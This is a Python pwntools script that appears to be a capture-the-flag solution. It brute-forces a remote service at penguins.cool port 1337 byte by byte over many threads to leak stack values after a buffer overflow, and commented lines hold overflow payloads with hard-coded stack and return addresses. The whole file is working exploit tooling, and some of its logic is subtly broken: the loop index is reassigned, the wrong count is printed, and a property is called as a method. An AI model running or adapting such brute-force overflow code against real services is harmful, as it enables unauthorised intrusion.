brute.py

from pwn import *
import threading, sys

context.log_level = 'warning'

def printconn(msg):
    p = remote('penguins.cool', 1337)
    p.send(msg)
    p.shutdown('send')
    data = p.recvall()
    
    probe = 'say?\n\0'
    data = data[data.find(probe) + len(probe):]
    if data:
        print(data)

def printconn_noclose(msg):
    p = remote('penguins.cool', 1337)
    p.send(msg)
    data = p.recvall()
    
    probe = 'say?\n\0'
    data = data[data.find(probe) + len(probe):]
    if data:
        print(data)



class ConnJob(threading.Thread):
    def __init__(self, msg):
        threading.Thread.__init__(self)
        self.msg = msg;

    def run(self):
        context.log_level = 'warning'
        while True:
            try:
                p = remote('penguins.cool', 1337, timeout=5)
                break
            except:
                pass

        p.send(self.msg)
        p.shutdown('send')
        try:
            p.recvuntil('Server:')
            self._ret = True
        except:
            self._ret = False
        finally:
            p.close()

    @property
    def ret(self):
        return self._ret

max_load = 10
if __name__ == '__main__':
    #orig = 'AAAAAAAAAAAAAAAA\x00\x05,&\xff\x7f\x00\x00'
    #orig = 'A' * 16 + p64(0x7fff262c0500) + p64(0x400ddf) + 'B' * 12 + p32(4) + \
    #        'C' * 0x209 + '*' * 7
    orig = 'A' * 16
    #orig = 'A' * 16 + p64(0x7fff262c0500) + p64(0x400ddf) + 'B' * 12 + p32(4) + \
    #        'C' * 0x10000

    for i in range(50000):
        jobs = [None for i in range(256)]
        succ = []
        succ_cnt = 0
        fail_cnt = 0
        
        for i in range(max_load):
            t = ConnJob(orig + chr(i))
            t.start()
            jobs[i] = t

        for i in range(256):
            while True:
                jobs[i].join(1)
                if not jobs[i].isAlive():
                    break

                # Restart
                jobs[i] = ConnJob(jobs[i].msg)
                jobs[i].start()

            print(enhex(jobs[i].msg))
            if jobs[i].ret:
                succ_cnt += 1
            else:
                fail_cnt += 1

            if i + max_load < 256:
                i += max_load
                t = ConnJob(orig + chr(i))
                t.start()
                jobs[i] = t


        if succ_cnt == 0:
            print('All fail.')
            add = 'A'
        elif fail_cnt == 0:
            print('All success.')
            add = 'A'
        elif succ_cnt < fail_cnt:
            msg = ''
            print('Only {} success.'.format(succ_cnt))
            for i in range(256):
                if jobs[i].ret:
                    msg += '{:02x} '.format(i)
                    add = chr(i)
            print(msg)
        else:
            msg = ''
            print('Only {} fails.'.format(succ_cnt))
            for i in range(256):
                if not jobs[i].ret():
                    msg += '{:02x} '.format(i)
                    add = chr(i)
            print(msg)
        
        orig += add